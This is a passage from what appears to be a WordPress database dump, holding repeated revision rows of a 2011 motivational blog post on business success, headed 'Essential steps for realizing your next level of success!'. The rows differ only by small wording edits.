talent to help you achieve your goals.  Your greatness attracts in equal measure other great people who what to hang with you and help you be successful.  Partner with people who are operating at higher genius levels in areas where you are weak.\r\n\r\nLet great people do the great work they’re meant to do by forming a team that is a force multiplier for the success of all concerned. Rugged individualism is a boat anchor on the ship of progress.\r\n\r\n<strong>Create experiences people love.</strong>\r\nAt the end of the day, all success in business is based on love. Serving your customers by elevating their life experience is how you demonstrate your caring and love for them. Always deliver on your promise and then some.  In every activity, the most successful entrepreneurs always provide more use value than they receive in cash value.\r\n\r\nEnlightened entrepreneurs who lead markets shift their focus from counting transactions to innovating scintillating, dramatic, novel, relevant, transformative experiences that people love and love to share with others.\r\n\r\n<strong>\r\n</strong>', 'Essential steps for realizing your next level of success!', 0, '', 'inherit', 'open', 'open', '', '1470-revision-13', '', '', '2011-01-18 12:15:19', '2011-01-18 19:15:19', '', 1470, 'http://www.whitehotcenter.com/2011/01/18/1470-revision-13/', 0, 'revision', '', 0),
(1485, 2, '2011-01-18 12:16:25', '2011-01-18 19:16:25', '<img class="alignnone size-full wp-image-1471" title="ladder of success" src="http://whc.fbdev.org/wp-content/uploads/2011/01/ladder.gif" alt="" width="441" height="369" />\r\n<h1><span style="color: #808080;">In the process of climbing your ladder to create success, you can easily feel overwhelmed.  When you do, focus your creative energy on these essential steps for realizing your next level of growth and success.</span></h1>\r\n<strong>There’s nothing sexy or complicated about these timeless principals  for extraordinary performance and achievement. When you’re feeling  stuck, get yourself focused on the discipline to master the basics of  playing a bigger game and making quantum leaps. Start with what’s at  hand and from where you stand. Which of these essential ingredients are  already present in you? Which of these require more of your focus and  attention</strong>?\r\n\r\n<strong>Be the greatest.</strong>\r\nI remember how I marveled at the iconic Mohammed Ali constantly proclaiming “I am the greatest!”  Long before he was the greatest, he knew that in order for him to experience and demonstrate his greatness, he had to stay standing in the ring and take the punishing punches from a bunch of other great fighters. He played big! His burning desire to be the greatest prizefighter ever was far more powerful than his fear and doubt that he might not be the greatest.  And so it is with you in your business. Whatever your industry or profession, stand in your greatest and share it every day!\r\n\r\nCommit yourself to your greatness and settle for nothing less. Being the greatest means knowing that there is no end to your learning, growth and capability to attract the best opportunities simply through the quality of your presence. Every moment in your life presents a choice to be great, or to be safe and cozy in the slush pile.\r\n\r\n<strong>Create a compelling vision, then a real plan.</strong>\r\nNo progress is made without a compelling vision and a master plan. And one is no good without the other. Know what you want, commit to making it happen no matter what, and believe you can achieve it.  Wishing won’t get it done. You need a plan. The best way to design a plan is to put your compelling vision in writing.  A written vision is the first particle of matter towards its realization.\r\n\r\nAnd while you’re at it, make sure your thinking is bigger than the thinking that has brought you to your current reality. I’d like to suggest that instead of being content with planning gradual, conventional progress, your plan should facilitate rapid, radical moves several stages above where you’re at now. Plan for a breakthrough– design your quantum leap!\r\n\r\n<strong>Create products and services that create new value.</strong>\r\nThere’s no more room in the marketplace for me-too anything. Innovate products and services that are an equal reflection of your own unique greatness. You can’t experience quantum leaps in your success if you offer products and services that are the same as everybody else.\r\n\r\nYour purpose in business is to innovate new value in the marketplace, not compete for the value that has already been created.  To paraphrase Steve Jobs “put your own dent in the universe”.\r\n\r\n<strong>Bake in the marketing.</strong>\r\nYour offerings must represent an ideal that is highly valued by the best customers in your marketplace. The only way to do this is by uniquely positioning your value proposition above and beyond the features, benefits and utility of your products and services. Your best customers don’t really care about having more product features that work well. Everything works well these days! They expect that!  That’s not enough for you to have competitive advantage and command premium prices.\r\n\r\nTo create demand for what you offer, bake the marketing into its creation and delivery. Customers must have trust and confidence that what you represent will elevate their life circumstances and alleviate their pain first. It’s always about them and never you.\r\n\r\n<strong>Be a Closer.</strong>\r\nNothing happens until you have a paying customer. Converting prospects to customers requires being trusted and respected– still not enough to turn a relationship into cash. All Closers have a very well defined sales process that removes every buyer objection all along the complete buying cycle. At each step, Closers strengthen the foundation of the business relationship long before any money is involved.\r\n\r\nAnd once money has changed hands, Closers never allow their customers to experience buyer’s remorse for very long. Closers remove all fear and doubt and reinforce belief that they are the best choice.  Closers are value creators not order-takers. Are you a Closer?\r\n\r\n<strong>Work with the best people.</strong>\r\nWhen you’re the greatest at whatever it is that you do, why settle for less than the best when choosing who your partners, employees and collaborators will be? For you to take a quantum leap in your progress, it’s essential you attract and retain the greatest talent to help you achieve your goals.  Your greatness attracts in equal measure other great people who what to hang with you and help you be successful.  Partner with people who are operating at higher genius levels in areas where you are weak.\r\n\r\nLet great people do the great work they’re meant to do by forming a team that is a force multiplier for the success of all concerned. Rugged individualism is a boat anchor on the ship of progress.\r\n\r\n<strong>Create experiences people love.</strong>\r\nAt the end of the day, all success in business is based on love. Serving your customers by elevating their life experience is how you demonstrate your caring and love for them. Always deliver on your promise and then some.  In every activity, the most successful entrepreneurs always provide more use value than they receive in cash value.\r\n\r\nEnlightened entrepreneurs who lead markets shift their focus from counting transactions to innovating scintillating, dramatic, novel, relevant, transformative experiences that people love and love to share with others.\r\n\r\n<strong>\r\n</strong>', 'Essential steps for realizing your next level of success!', 0, '', 'inherit', 'open', 'open', '', '1470-revision-14', '', '', '2011-01-18 12:16:25', '2011-01-18 19:16:25', '', 1470, 'http://www.whitehotcenter.com/2011/01/18/1470-revision-14/', 0, 'revision', '', 0),
(1486, 2, '2011-01-18 12:16:34', '2011-01-18 19:16:34', '<img class="alignnone size-full wp-image-1471" title="ladder of success" src="http://whc.fbdev.org/wp-content/uploads/2011/01/ladder.gif" alt="" width="441" height="369" />\r\n<h1><span style="color: #808080;">In the process of climbing your ladder to create success, you can easily feel overwhelmed.  When you do, focus your creative energy on these essential steps for realizing your next level of growth and success.</span></h1>\r\n<strong>There’s nothing sexy or complicated about these timeless principals  for extraordinary performance and achievement. When you’re feeling  stuck, get yourself focused on the discipline to master the basics of  playing a bigger game and making quantum leaps. Start with what’s at  hand and from where you stand. Which of these essential ingredients are  already present in you? Which of these require more of your focus and  attention</strong>?\r\n\r\n<strong>Be the greatest.</strong>\r\nI remember how I marveled at the iconic Mohammed Ali constantly proclaiming “I am the greatest!”  Long before he was the greatest, he knew that in order for him to experience and demonstrate his greatness, he had to stay standing in the ring and take the punishing punches from a bunch of other great fighters. He played big! His burning desire to be the greatest prizefighter ever was far more powerful than his fear and doubt that he might not be the greatest.  And so it is with you in your business. Whatever your industry or profession, stand in your greatest and share it every day!\r\n\r\nCommit yourself to your greatness and settle for nothing less. Being the greatest means knowing that there is no end to your learning, growth and capability to attract the best opportunities simply through the quality of your presence. Every moment in your life presents a choice to be great, or to be safe and cozy in the slush pile.\r\n\r\n<strong>Create a compelling vision, then a real plan.</strong>\r\nNo progress is made without a compelling vision and a master plan. And one is no good without the other. Know what you want, commit to making it happen no matter what, and believe you can achieve it.  Wishing won’t get it done. You need a plan. The best way to design a plan is to put your compelling vision in writing.  A written vision is the first particle of matter towards its realization.\r\n\r\nAnd while you’re at it, make sure your thinking is bigger than the thinking that has brought you to your current reality. I’d like to suggest that instead of being content with planning gradual, conventional progress, your plan should facilitate rapid, radical moves several stages above where you’re at now. Plan for a breakthrough– design your quantum leap!\r\n\r\n<strong>Create products and services that create new value.</strong>\r\nThere’s no more room in the marketplace for me-too anything. Innovate products and services that are an equal reflection of your own unique greatness. You can’t experience quantum leaps in your success if you offer products and services that are the same as everybody else.\r\n\r\nYour purpose in business is to innovate new value in the marketplace, not compete for the value that has already been created.  To paraphrase Steve Jobs “put your own dent in the universe”.\r\n\r\n<strong>Bake in the marketing.</strong>\r\nYour offerings must represent an ideal that is highly valued by the best customers in your marketplace. The only way to do this is by uniquely positioning your value proposition above and beyond the features, benefits and utility of your products and services. Your best customers don’t really care about having more product features that work well. Everything works well these days! They expect that!  That’s not enough for you to have competitive advantage and command premium prices.\r\n\r\nTo create demand for what you offer, bake the marketing into its creation and delivery. Customers must have trust and confidence that what you represent will elevate their life circumstances and alleviate their pain first. It’s always about them and never you.\r\n\r\n<strong>Be a Closer.</strong>\r\nNothing happens until you have a paying customer. Converting prospects to customers requires being trusted and respected– still not enough to turn a relationship into cash. All Closers have a very well defined sales process that removes every buyer objection all along the complete buying cycle. At each step, Closers strengthen the foundation of the business relationship long before any money is involved.\r\n\r\nAnd once money has changed hands, Closers never allow their customers to experience buyer’s remorse for very long. Closers remove all fear and doubt and reinforce belief that they are the best choice.  Closers are value creators not order-takers. Are you a Closer?\r\n\r\n<strong>Work with the best people.</strong>\r\nWhen you’re the greatest at whatever it is that you do, why settle for less than the best when choosing who your partners, employees and collaborators will be? For you to take a quantum leap in your progress, it’s essential you attract and retain the greatest talent to help you achieve your goals.  Your greatness attracts in equal measure other great people who what to hang with you and help you be successful.  Partner with people who are operating at higher genius levels in areas where you are weak.\r\n\r\nLet great people do the great work they’re meant to do by forming a team that is a force multiplier for the success of all concerned. Rugged individualism is a boat anchor on the ship of progress.\r\n\r\n<strong>Create experiences people love.</strong>\r\nAt the end of the day, all success in business is based on love. Serving your customers by elevating their life experience is how you demonstrate your caring and love for them. Always deliver on your promise and then some.  In every activity, the most successful entrepreneurs always provide more use value than they receive in cash value.\r\n\r\nEnlightened entrepreneurs who lead markets shift their focus from counting transactions to innovating scintillating, dramatic, novel, relevant, transformative experiences that people love and love to share with others.\r\n\r\n<strong>\r\n</strong>', 'Essential steps for realizing your next level of success!', 0, '', 'inherit', 'open', 'open', '', '1470-revision-15', '', '', '2011-01-18 12:16:34', '2011-01-18 19:16:34', '', 1470, 'http://www.whitehotcenter.com/2011/01/18/1470-revision-15/', 0, 'revision', '', 0);
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(1488, 2, '2011-01-18 12:26:46', '2011-01-18 19:26:46', '<img class="alignnone size-full wp-image-1471" title="ladder of success" src="http://whc.fbdev.org/wp-content/uploads/2011/01/ladder.gif" alt="" width="441" height="369" />\r\n<h1><span style="color: #808080;">In the process of climbing your ladder of success, you can easily feel overwhelmed.  When you do, focus your creative energy on these essential steps for realizing your next level of growth and success.</span></h1>\r\n<strong>There’s nothing sexy or complicated about these timeless principals  for extraordinary performance and achievement. When you’re feeling  stuck, get yourself focused on the discipline to master the basics of  playing a bigger game and making quantum leaps. Start with what’s at  hand and from where you stand. Which of these essential ingredients are  already present in you? Which of these require more of your focus and  attention</strong>?\r\n\r\n<strong>Be the greatest.</strong>\r\nI remember how I marveled at the iconic Mohammed Ali constantly proclaiming “I am the greatest!”  Long before he was the greatest, he knew that in order for him to experience and demonstrate his greatness, he had to stay standing in the ring and take the punishing punches from a bunch of other great fighters. He played big! His burning desire to be the greatest prizefighter ever was far more powerful than his fear and doubt that he might not be the greatest.  And so it is with you in your business. Whatever your industry or profession, stand in your greatest and share it every day!\r\n\r\nCommit yourself to your greatness and settle for nothing less. Being the greatest means knowing that there is no end to your learning, growth and capability to attract the best opportunities simply through the quality of your presence. Every moment in your life presents a choice to be great, or to be safe and cozy in the slush pile.\r\n\r\n<strong>Create a compelling vision, then a real plan.</strong>\r\nNo progress is made without a compelling vision and a master plan. And one is no good without the other. Know what you want, commit to making it happen no matter what, and believe you can achieve it.  Wishing won’t get it done. You need a plan. The best way to design a plan is to put your compelling vision in writing.  A written vision is the first particle of matter towards its realization.\r\n\r\nAnd while you’re at it, make sure your thinking is bigger than the thinking that has brought you to your current reality. I’d like to suggest that instead of being content with planning gradual, conventional progress, your plan should facilitate rapid, radical moves several stages above where you’re at now. Plan for a breakthrough– design your quantum leap!\r\n\r\n<strong>Create products and services that create new value.</strong>\r\nThere’s no more room in the marketplace for me-too anything. Innovate products and services that are an equal reflection of your own unique greatness. You can’t experience quantum leaps in your success if you offer products and services that are the same as everybody else.\r\n\r\nYour purpose in business is to innovate new value in the marketplace, not compete for the value that has already been created.  To paraphrase Steve Jobs “put your own dent in the universe”.\r\n\r\n<strong>Bake in the marketing.</strong>\r\nYour offerings must represent an ideal that is highly valued by the best customers in your marketplace. The only way to do this is by uniquely positioning your value proposition above and beyond the features, benefits and utility of your products and services. Your best customers don’t really care about having more product features that work well. Everything works well these days! They expect that!  That’s not enough for you to have competitive advantage and command premium prices.\r\n\r\nTo create demand for what you offer, bake the marketing into its creation and delivery. Customers must have trust and confidence that what you represent will elevate their life circumstances and alleviate their pain first. It’s always about them and never you.\r\n\r\n<strong>Be a Closer.</strong>\r\nNothing happens until you have a paying customer. Converting prospects to customers requires being trusted and respected– still not enough to turn a relationship into cash. All Closers have a very well defined sales process that removes every buyer objection all along the complete buying cycle. At each step, Closers strengthen the foundation of the business relationship long before any money is involved.\r\n\r\nAnd once money has changed hands, Closers never allow their customers to experience buyer’s remorse for very long. Closers remove all fear and doubt and reinforce belief that they are the best choice.  Closers are value creators not order-takers. Are you a Closer?\r\n\r\n<strong>Work with the best people.</strong>\r\nWhen you’re the greatest at whatever it is that you do, why settle for less than the best when choosing who your partners, employees and collaborators will be? For you to take a quantum leap in your progress, it’s essential you attract and retain the greatest talent to help you achieve your goals.  Your greatness attracts in equal measure other great people who what to hang with you and help you be successful.  Partner with people who are operating at higher genius levels in areas where you are weak.\r\n\r\nLet great people do the great work they’re meant to do by forming a team that is a force multiplier for the success of all concerned. Rugged individualism is a boat anchor on the ship of progress.\r\n\r\n<strong>Create experiences people love.</strong>\r\nAt the end of the day, all success in business is based on love. Serving your customers by elevating their life experience is how you demonstrate your caring and love for them. Always deliver on your promise and then some.  In every activity, the most successful entrepreneurs always provide more use value than they receive in cash value.\r\n\r\nEnlightened entrepreneurs who lead markets shift their focus from counting transactions to innovating scintillating, dramatic, novel, relevant, transformative experiences that people love and love to share with others.\r\n\r\n<strong>\r\n</strong>', 'Essential steps for realizing your next level of growth and success!', 0, '', 'inherit', 'open', 'open', '', '1470-revision-17', '', '', '2011-01-18 12:26:46', '2011-01-18 19:26:46', '', 1470, 'http://www.whitehotcenter.com/2011/01/18/1470-revision-17/', 0, 'revision', '', 0),
(1489, 2, '2011-01-18 12:26:55', '2011-01-18 19:26:55', '<img class="alignnone size-full wp-image-1471" title="ladder of success" src="http://whc.fbdev.org/wp-content/uploads/2011/01/ladder.gif" alt="" width="441" height="369" />\r\n<h1><span style="color: #808080;">In the process of climbing your ladder of success, you can easily feel overwhelmed.  When you do, focus your creative energy on these essential steps for realizing your next level of growth and success.</span></h1>\r\n<strong>There’s nothing sexy or complicated about these timeless principals  for extraordinary performance and achievement. When you’re feeling  stuck, get yourself focused on the discipline to master the basics of  playing a bigger game and making quantum leaps. Start with what’s at  hand and from where you stand. Which of these essential ingredients are  already present in you? Which of these require more of your focus and  attention</strong>?\r\n\r\n<strong>Be the greatest.</strong>\r\nI remember how I marveled at the iconic Mohammed Ali constantly proclaiming “I am the greatest!”  Long before he was the greatest, he knew that in order for him to experience and demonstrate his greatness, he had to stay standing in the ring and take the punishing punches from a bunch of other great fighters. He played big! His burning desire to be the greatest prizefighter ever was far more powerful than his fear and doubt that he might not be the greatest.  And so it is with you in your business. Whatever your industry or profession, stand in your greatest and share it every day!\r\n\r\nCommit yourself to your greatness and settle for nothing less. Being the greatest means knowing that there is no end to your learning, growth and capability to attract the best opportunities simply through the quality of your presence. Every moment in your life presents a choice to be great, or to be safe and cozy in the slush pile.\r\n\r\n<strong>Create a compelling vision, then a real plan.</strong>\r\nNo progress is made without a compelling vision and a master plan. And one is no good without the other. Know what you want, commit to making it happen no matter what, and believe you can achieve it.  Wishing won’t get it done. You need a plan. The best way to design a plan is to put your compelling vision in writing.  A written vision is the first particle of matter towards its realization.\r\n\r\nAnd while you’re at it, make sure your thinking is bigger than the thinking that has brought you to your current reality. I’d like to suggest that instead of being content with planning gradual, conventional progress, your plan should facilitate rapid, radical moves several stages above where you’re at now. Plan for a breakthrough– design your quantum leap!\r\n\r\n<strong>Create products and services that create new value.</strong>\r\nThere’s no more room in the marketplace for me-too anything. Innovate products and services that are an equal reflection of your own unique greatness. You can’t experience quantum leaps in your success if you offer products and services that are the same as everybody else.\r\n\r\nYour purpose in business is to innovate new value in the marketplace, not compete for the value that has already been created.  To paraphrase Steve Jobs “put your own dent in the universe”.\r\n\r\n<strong>Bake in the marketing.</strong>\r\nYour offerings must represent an ideal that is highly valued by the best customers in your marketplace. The only way to do this is by uniquely positioning your value proposition above and beyond the features, benefits and utility of your products and services. Your best customers don’t really care about having more product features that work well. Everything works well these days! They expect that!  That’s not enough for you to have competitive advantage and command premium prices.\r\n\r\nTo create demand for what you offer, bake the marketing into its creation and delivery. Customers must have trust and confidence that what you represent will elevate their life circumstances and alleviate their pain first. It’s always about them and never you.\r\n\r\n<strong>Be a Closer.</strong>\r\nNothing happens until you have a paying customer. Converting prospects to customers requires being trusted and respected– still not enough to turn a relationship into cash. All Closers have a very well defined sales process that removes every buyer objection all along the complete buying cycle. At each step, Closers strengthen the foundation of the business relationship long before any money is involved.\r\n\r\nAnd once money has changed hands, Closers never allow their customers to experience buyer’s remorse for very long. Closers remove all fear and doubt and reinforce belief that they are the best choice.  Closers are value creators not order-takers. Are you a Closer?\r\n\r\n<strong>Work with the best people.</strong>\r\nWhen you’re the greatest at whatever it is that you do, why settle for less than the best when choosing who your partners, employees and collaborators will be? For you to take a quantum leap in your progress, it’s essential you attract and retain the greatest talent to help you achieve your goals.  Your greatness attracts in equal measure other great people who what to hang with you and help you be successful.  Partner with people who are operating at higher genius levels in areas where you are weak.\r\n\r\nLet great people do the great work they’re meant to do by forming a team that is a force multiplier for the success of all concerned. Rugged individualism is a boat anchor on the ship of progress.\r\n\r\n<strong>Create experiences people love.</strong>\r\nAt the end of the day, all success in business is based on love. Serving your customers by elevating their life experience is how you demonstrate your caring and love for them. Always deliver on your promise and then some.  In every activity, the most successful entrepreneurs always provide more use value than they receive in cash value.\r\n\r\nEnlightened entrepreneurs who lead markets shift their focus from counting transactions to innovating scintillating, dramatic, novel, relevant, transformative experiences that people love and love to share with others.\r\n\r\n<strong>\r\n</strong>', 'Essential steps for realizing your next level of growth and success!', 0, '', 'inherit', 'open', 'open', '', '1470-revision-18', '', '', '2011-01-18 12:26:55', '2011-01-18 19:26:55', '', 1470, 'http://www.whitehotcenter.com/2011/01/18/1470-revision-18/', 0, 'revision', '', 0),
(1490, 2, '2011-01-18 12:27:59', '2011-01-18 19:27:59', '<img class="alignnone size-full wp-image-1471" title="ladder of success" src="http://whc.fbdev.org/wp-content/uploads/2011/01/ladder.gif" alt="" width="441" height="369" />\r\n<h1><span style="color: #808080;">In the process of climbing your ladder of success, you can easily feel overwhelmed.  When you do, focus your creative energy on these essential steps for realizing your next level of growth and success.</span></h1>\r\n<strong>There’s nothing sexy or complicated about these timeless principals  for extraordinary performance and achievement. When you’re feeling  stuck, get yourself focused on the discipline to master the basics of  playing a bigger game and making quantum leaps in your progress. Start with what’s at  hand and from where you stand. Which of these essential ingredients are  already present in you? Which of these require more of your focus and  attention</strong>?\r\n\r\n<strong>Be the greatest.</strong>\r\nI remember how I marveled at the iconic Mohammed Ali constantly proclaiming “I am the greatest!”  Long before he was the greatest, he knew that in order for him to experience and demonstrate his greatness, he had to stay standing in the ring and take the punishing punches from a bunch of other great fighters. He played big! His burning desire to be the greatest prizefighter ever was far more powerful than his fear and doubt that he might not be the greatest.  And so it is with you in your business. Whatever your industry or profession, stand in your greatest and share it every day!\r\n\r\nCommit yourself to your greatness and settle for nothing less. Being the greatest means knowing that there is no end to your learning, growth and capability to attract the best opportunities simply through the quality of your presence. Every moment in your life presents a choice to be great, or to be safe and cozy in the slush pile.\r\n\r\n<strong>Create a compelling vision, then a real plan.</strong>\r\nNo progress is made without a compelling vision and a master plan. And one is no good without the other. Know what you want, commit to making it happen no matter what, and believe you can achieve it.  Wishing won’t get it done. You need a plan. The best way to design a plan is to put your compelling vision in writing.  A written vision is the first particle of matter towards its realization.\r\n\r\nAnd while you’re at it, make sure your thinking is bigger than the thinking that has brought you to your current reality. I’d like to suggest that instead of being content with planning gradual, conventional progress, your plan should facilitate rapid, radical moves several stages above where you’re at now. Plan for a breakthrough– design your quantum leap!\r\n\r\n<strong>Create products and services that create new value.</strong>\r\nThere’s no more room in the marketplace for me-too anything. Innovate products and services that are an equal reflection of your own unique greatness. You can’t experience quantum leaps in your success if you offer products and services that are the same as everybody else.\r\n\r\nYour purpose in business is to innovate new value in the marketplace, not compete for the value that has already been created.  To paraphrase Steve Jobs “put your own dent in the universe”.\r\n\r\n<strong>Bake in the marketing.</strong>\r\nYour offerings must represent an ideal that is highly valued by the best customers in your marketplace. The only way to do this is by uniquely positioning your value proposition above and beyond the features, benefits and utility of your products and services. Your best customers don’t really care about having more product features that work well. Everything works well these days! They expect that!  That’s not enough for you to have competitive advantage and command premium prices.\r\n\r\nTo create demand for what you offer, bake the marketing into its creation and delivery. Customers must have trust and confidence that what you represent will elevate their life circumstances and alleviate their pain first. It’s always about them and never you.\r\n\r\n<strong>Be a Closer.</strong>\r\nNothing happens until you have a paying customer. Converting prospects to customers requires being trusted and respected– still not enough to turn a relationship into cash. All Closers have a very well defined sales process that removes every buyer objection all along the complete buying cycle. At each step, Closers strengthen the foundation of the business relationship long before any money is involved.\r\n\r\nAnd once money has changed hands, Closers never allow their customers to experience buyer’s remorse for very long. Closers remove all fear and doubt and reinforce belief that they are the best choice.  Closers are value creators not order-takers. Are you a Closer?\r\n\r\n<strong>Work with the best people.</strong>\r\nWhen you’re the greatest at whatever it is that you do, why settle for less than the best when choosing who your partners, employees and collaborators will be? For you to take a quantum leap in your progress, it’s essential you attract and retain the greatest talent to help you achieve your goals.  Your greatness attracts in equal measure other great people who what to hang with you and help you be successful.  Partner with people who are operating at higher genius levels in areas where you are weak.\r\n\r\nLet great people do the great work they’re meant to do by forming a team that is a force multiplier for the success of all concerned. Rugged individualism is a boat anchor on the ship of progress.\r\n\r\n<strong>Create experiences people love.</strong>\r\nAt the end of the day, all success in business is based on love. Serving your customers by elevating their life experience is how you demonstrate your caring and love for them. Always deliver on your promise and then some.  In every activity, the most successful entrepreneurs always provide more use value than they receive in cash value.\r\n\r\nEnlightened entrepreneurs who lead markets shift their focus from counting transactions to innovating scintillating, dramatic, novel, relevant, transformative experiences that people love and love to share with others.\r\n\r\n<strong>\r\n</strong>', 'Essential steps for realizing your next level of growth and success!', 0, '', 'inherit', 'open', 'open', '', '1470-revision-19', '', '', '2011-01-18 12:27:59', '2011-01-18 19:27:59', '', 1470, 'http://www.whitehotcenter.com/2011/01/18/1470-revision-19/', 0, 'revision', '', 0),
(1491, 2, '2011-01-18 12:28:07', '2011-01-18 19:28:07', '<img class="alignnone size-full wp-image-1471" title="ladder of success" src="http://whc.fbdev.org/wp-content/uploads/2011/01/ladder.gif" alt="" width="441" height="369" />\r\n<h1><span style="color: #808080;">In the process of climbing your ladder of success, you can easily feel overwhelmed.  When you do, focus your creative energy on these essential steps for realizing your next level of growth and success.</span></h1>\r\n<strong>There’s nothing sexy or complicated about these timeless principals  for extraordinary performance and achievement. When you’re feeling  stuck, get yourself focused on the discipline to master the basics of  playing a bigger game and making quantum leaps in your progress. Start with what’s at  hand and from where you stand. Which of these essential ingredients are  already present in you? Which of these require more of your focus and  attention</strong>?\r\n\r\n<strong>Be the greatest.</strong>\r\nI remember how I marveled at the iconic Mohammed Ali constantly proclaiming “I am the greatest!”  Long before he was the greatest, he knew that in order for him to experience and demonstrate his greatness, he had to stay standing in the ring and take the punishing punches from a bunch of other great fighters. He played big! His burning desire to be the greatest prizefighter ever was far more powerful than his fear and doubt that he might not be the greatest.  And so it is with you in your business. Whatever your industry or profession, stand in your greatest and share it every day!\r\n\r\nCommit yourself to your greatness and settle for nothing less. Being the greatest means knowing that there is no end to your learning, growth and capability to attract the best opportunities simply through the quality of your presence. Every moment in your life presents a choice to be great, or to be safe and cozy in the slush pile.\r\n\r\n<strong>Create a compelling vision, then a real plan.</strong>\r\nNo progress is made without a compelling vision and a master plan. And one is no good without the other. Know what you want, commit to making it happen no matter what, and believe you can achieve it.  Wishing won’t get it done. You need a plan. The best way to design a plan is to put your compelling vision in writing.  A written vision is the first particle of matter towards its realization.\r\n\r\nAnd while you’re at it, make sure your thinking is bigger than the thinking that has brought you to your current reality. I’d like to suggest that instead of being content with planning gradual, conventional progress, your plan should facilitate rapid, radical moves several stages above where you’re at now. Plan for a breakthrough– design your quantum leap!\r\n\r\n<strong>Create products and services that create new value.</strong>\r\nThere’s no more room in the marketplace for me-too anything. Innovate products and services that are an equal reflection of your own unique greatness. You can’t experience quantum leaps in your success if you offer products and services that are the same as everybody else.\r\n\r\nYour purpose in business is to innovate new value in the marketplace, not compete for the value that has already been created.  To paraphrase Steve Jobs “put your own dent in the universe”.\r\n\r\n<strong>Bake in the marketing.</strong>\r\nYour offerings must represent an ideal that is highly valued by the best customers in your marketplace. The only way to do this is by uniquely positioning your value proposition above and beyond the features, benefits and utility of your products and services. Your best customers don’t really care about having more product features that work well. Everything works well these days! They expect that!  That’s not enough for you to have competitive advantage and command premium prices.\r\n\r\nTo create demand for what you offer, bake the marketing into its creation and delivery. Customers must have trust and confidence that what you represent will elevate their life circumstances and alleviate their pain first. It’s always about them and never you.\r\n\r\n<strong>Be a Closer.</strong>\r\nNothing happens until you have a paying customer. Converting prospects to customers requires being trusted and respected– still not enough to turn a relationship into cash. All Closers have a very well defined sales process that removes every buyer objection all along the complete buying cycle. At each step, Closers strengthen the foundation of the business relationship long before any money is involved.\r\n\r\nAnd once money has changed hands, Closers never allow their customers to experience buyer’s remorse for very long. Closers remove all fear and doubt and reinforce belief that they are the best choice.  Closers are value creators not order-takers. Are you a Closer?\r\n\r\n<strong>Work with the best people.</strong>\r\nWhen you’re the greatest at whatever it is that you do, why settle for less than the best when choosing who your partners, employees and collaborators will be? For you to take a quantum leap in your progress, it’s essential you attract and retain the greatest talent to help you achieve your goals.  Your greatness attracts in equal measure other great people who what to hang with you and help you be successful.  Partner with people who are operating at higher genius levels in areas where you are weak.\r\n\r\nLet great people do the great work they’re meant to do by forming a team that is a force multiplier for the success of all concerned. Rugged individualism is a boat anchor on the ship of progress.\r\n\r\n<strong>Create experiences people love.</strong>\r\nAt the end of the day, all success in business is based on love. Serving your customers by elevating their life experience is how you demonstrate your caring and love for them. Always deliver on your promise and then some.  In every activity, the most successful entrepreneurs always provide more use value than they receive in cash value.\r\n\r\nEnlightened entrepreneurs who lead markets shift their focus from counting transactions to innovating scintillating, dramatic, novel, relevant, transformative experiences that people love and love to share with others.\r\n\r\n<strong>\r\n</strong>', 'Essential steps for realizing your next level of growth and success!', 0, '', 'inherit', 'open', 'open', '', '1470-revision-20', '', '', '2011-01-18 12:28:07', '2011-01-18 19:28:07', '', 1470, 'http://www.whitehotcenter.com/2011/01/18/1470-revision-20/', 0, 'revision', '', 0),
(1492, 2, '2011-01-18 12:32:25', '2011-01-18 19:32:25', '<img class="alignnone size-full wp-image-1471" title="ladder of success" src="http://whc.fbdev.org/wp-content/uploads/2011/01/ladder.gif" alt="" width="441" height="369" />\r\n<h1><span style="color: #808080;">In the process of climbing your ladder of success, you can easily feel overwhelmed.  When you do, focus your creative energy on these essential steps for realizing your next level of growth and success.</span></h1>\r\n<strong>There’s nothing sexy or complicated about these timeless principals  for extraordinary performance and achievement. When you’re feeling  stuck, get yourself focused on the discipline to master the basics of  playing a bigger game and making quantum leaps in your progress. Start with what’s at  hand and from where you stand. Which of these essential ingredients are  already present in you? Which of these require more of your focus and  attention</strong>?\r\n\r\n<strong>Be the greatest.</strong>\r\nI remember how I marveled at the iconic Mohammed Ali constantly proclaiming “I am the greatest!”  Long before he was the greatest, he knew that in order for him to experience and demonstrate his greatness, he had to stay standing in the ring and take the punishing punches from a bunch of other great fighters. He played big! His burning desire to be the greatest prizefighter ever was far more powerful than his fear and doubt that he might not be the greatest.  And so it is with you in your business. Whatever your industry or profession, stand in your greatest and share it every day!\r\n\r\nCommit yourself to your greatness and settle for nothing less. Being the greatest means knowing that there is no end to your learning, growth and capability to attract the best opportunities simply through the quality of your presence. Every moment in your life presents a choice to be great, or to be safe and cozy in the slush pile.\r\n\r\n<strong>Create a compelling vision, then a real plan.</strong>\r\nNo progress is made without a compelling vision and a master plan. And one is no good without the other. Know what you want, commit to making it happen no matter what, and believe you can achieve it.  Wishing won’t get it done. You need a plan. The best way to design a plan is to put your compelling vision in writing.  A written vision is the first particle of matter towards its realization.\r\n\r\nAnd while you’re at it, make sure your thinking is bigger than the thinking that has brought you to your current reality. I’d like to suggest that instead of being content with planning gradual, conventional progress, your plan should facilitate rapid, radical moves several stages above where you’re at now. Plan for a breakthrough– design your quantum leap!\r\n\r\n<strong>Create products and services that create new value.</strong>\r\nThere’s no more room in the marketplace for me-too anything. Innovate products and services that are an equal reflection of your own unique greatness. You can’t experience quantum leaps in your success if you offer products and services that are the same as everybody else.\r\n\r\nYour purpose in business is to innovate new value in the marketplace, not compete for the value that has already been created.  To paraphrase Steve Jobs “put your own dent in the universe”.\r\n\r\n<strong>Bake in the marketing.</strong>\r\nYour offerings must represent an ideal that is highly valued by the best customers in your marketplace. The only way to do this is by uniquely positioning your value proposition above and beyond the features, benefits and utility of your products and services. Your best customers don’t really care about having more product features that work well. Everything works well these days! They expect that!  That’s not enough for you to have competitive advantage and command premium prices.\r\n\r\nTo create demand for what you offer, bake the marketing into its creation and delivery. Customers must have trust and confidence that what you represent will elevate their life circumstances and alleviate their pain first. It’s always about them and never you.\r\n\r\n<strong>Be a Closer.</strong>\r\nNothing happens until you have a paying customer. Converting prospects to customers requires being trusted and respected– still not enough to turn a relationship into cash. All Closers have a very well defined sales process that removes every buyer objection all along the complete buying cycle. At each step, Closers strengthen the foundation of the business relationship long before any money is involved.\r\n\r\nAnd once money has changed hands, Closers never allow their customers to experience buyer’s remorse for very long. Closers remove all fear and doubt and reinforce belief that they are the best choice.  Closers are value creators not order-takers. Are you a Closer?\r\n\r\n<strong>Work with the best people.</strong>\r\nWhen you’re the greatest at whatever it is that you do, why settle for less than the best when choosing who your partners, employees and collaborators will be? For you to take a quantum leap in your progress, it’s essential you attract and retain the 